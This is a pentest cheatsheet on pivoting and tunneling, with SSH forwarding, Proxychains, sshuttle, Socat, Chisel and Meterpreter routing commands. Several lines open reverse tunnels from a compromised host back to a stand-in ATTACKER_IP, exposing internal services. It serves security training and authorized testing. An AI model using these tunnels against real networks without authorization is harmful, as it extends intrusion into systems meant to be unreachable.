Skip to content

Pivoting and Tunneling

Executive Summary

Pivoting and tunneling allow traffic to move through a compromised or authorized intermediate host to reach systems that are not directly accessible.

Use this cheatsheet for quick SSH forwarding, SOCKS proxying, Proxychains, Socat, Chisel, and Meterpreter routing syntax.

Core Concepts

Concept Purpose
Local port forward Access an internal service from your local machine
Remote port forward Expose a local service through a remote host
Dynamic port forward Create a SOCKS proxy
SOCKS proxy Route multiple tools through one proxy
Pivot host Intermediate system with access to another network
Tunnel Encapsulated traffic path through another connection

Network Discovery

Linux interfaces:

ip addr

Linux routes:

ip route

Windows interfaces:

ipconfig /all

Windows routes:

route print

ARP table:

ip neigh

arp -a

Test internal port:

nc -zv INTERNAL_IP PORT

PowerShell test:

Test-NetConnection INTERNAL_IP -Port PORT

SSH Local Port Forwarding

Forward local port 8080 to internal web service:

ssh -L 8080:INTERNAL_IP:80 user@PIVOT_HOST

Access locally:

http://127.0.0.1:8080

Forward local port to internal RDP:

ssh -L 3389:INTERNAL_IP:3389 user@PIVOT_HOST

SSH Remote Port Forwarding

Expose local service through remote host:

ssh -R 9001:127.0.0.1:9001 user@PIVOT_HOST

Remote forward with all interfaces:

ssh -R 0.0.0.0:9001:127.0.0.1:9001 user@PIVOT_HOST

SSH Dynamic Port Forwarding

Create SOCKS proxy:

ssh -D 1080 user@PIVOT_HOST

Create SOCKS proxy without shell:

ssh -N -D 1080 user@PIVOT_HOST

Use SOCKS proxy:

127.0.0.1:1080

Proxychains

Edit config:

sudo nano /etc/proxychains4.conf

Add SOCKS proxy:

socks5 127.0.0.1 1080

Run curl through proxy:

proxychains curl http://INTERNAL_IP

Run Nmap TCP connect scan:

proxychains nmap -sT -Pn -p PORT INTERNAL_IP

Sshuttle

Route subnet through SSH:

sshuttle -r user@PIVOT_HOST INTERNAL_SUBNET/CIDR

Example:

sshuttle -r user@10.10.10.5 172.16.1.0/24

Route all traffic through pivot:

sshuttle -r user@PIVOT_HOST 0.0.0.0/0

Socat Port Forwarding

Forward local port to internal host:

socat TCP-LISTEN:8080,fork,reuseaddr TCP:INTERNAL_IP:80

TCP relay:

socat TCP-LISTEN:9001,fork,reuseaddr TCP:TARGET_IP:9001

Reverse relay example:

socat TCP:ATTACKER_IP:9001 TCP:INTERNAL_IP:80

Chisel

Start server on attacker machine:

chisel server -p 8000 --reverse

Create reverse SOCKS from compromised host:

chisel client ATTACKER_IP:8000 R:socks

Create reverse port forward:

chisel client ATTACKER_IP:8000 R:8080:INTERNAL_IP:80

Create local SOCKS:

chisel server -p 8000

chisel client ATTACKER_IP:8000 socks

Meterpreter Routing

Show network interfaces:

ipconfig

Add route:

run autoroute -s INTERNAL_SUBNET/CIDR

Print routes:

run autoroute -p

Start SOCKS proxy:

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
run -j

Proxychains entry:

socks5 127.0.0.1 1080

Meterpreter Port Forwarding

Forward internal web service:

portfwd add -l 8080 -p 80 -r INTERNAL_IP

List forwards:

portfwd list

Delete forward:

portfwd delete -l 8080 -p 80 -r INTERNAL_IP

Flush all forwards:

portfwd flush

Nmap Through Tunnels

Through Proxychains, use TCP connect scan:

proxychains nmap -sT -Pn -p 80,443 INTERNAL_IP

Do not rely on raw packet scans through SOCKS:

-sS, -sU, and ICMP discovery may fail through proxies.

Browser Through SOCKS

Firefox SOCKS settings:

SOCKS Host: 127.0.0.1
Port: 1080
SOCKS v5: enabled
Proxy DNS when using SOCKS v5: enabled

Quick Workflow

Step Action
Identify routes ip route, route print
Find internal subnet Check interfaces and ARP
Test reachability nc -zv, Test-NetConnection
Build tunnel SSH, Chisel, Socat, Meterpreter
Route tools Proxychains or browser SOCKS
Validate access Connect to internal service
Limit noise Avoid broad scans through unstable tunnels

Notes

  • Use -sT with Nmap through SOCKS proxies.
  • DNS may not work unless the proxy handles DNS.
  • Tunnels can be unstable through weak shells.
  • Port forwards are best for single services.
  • SOCKS proxies are better for exploring multiple services.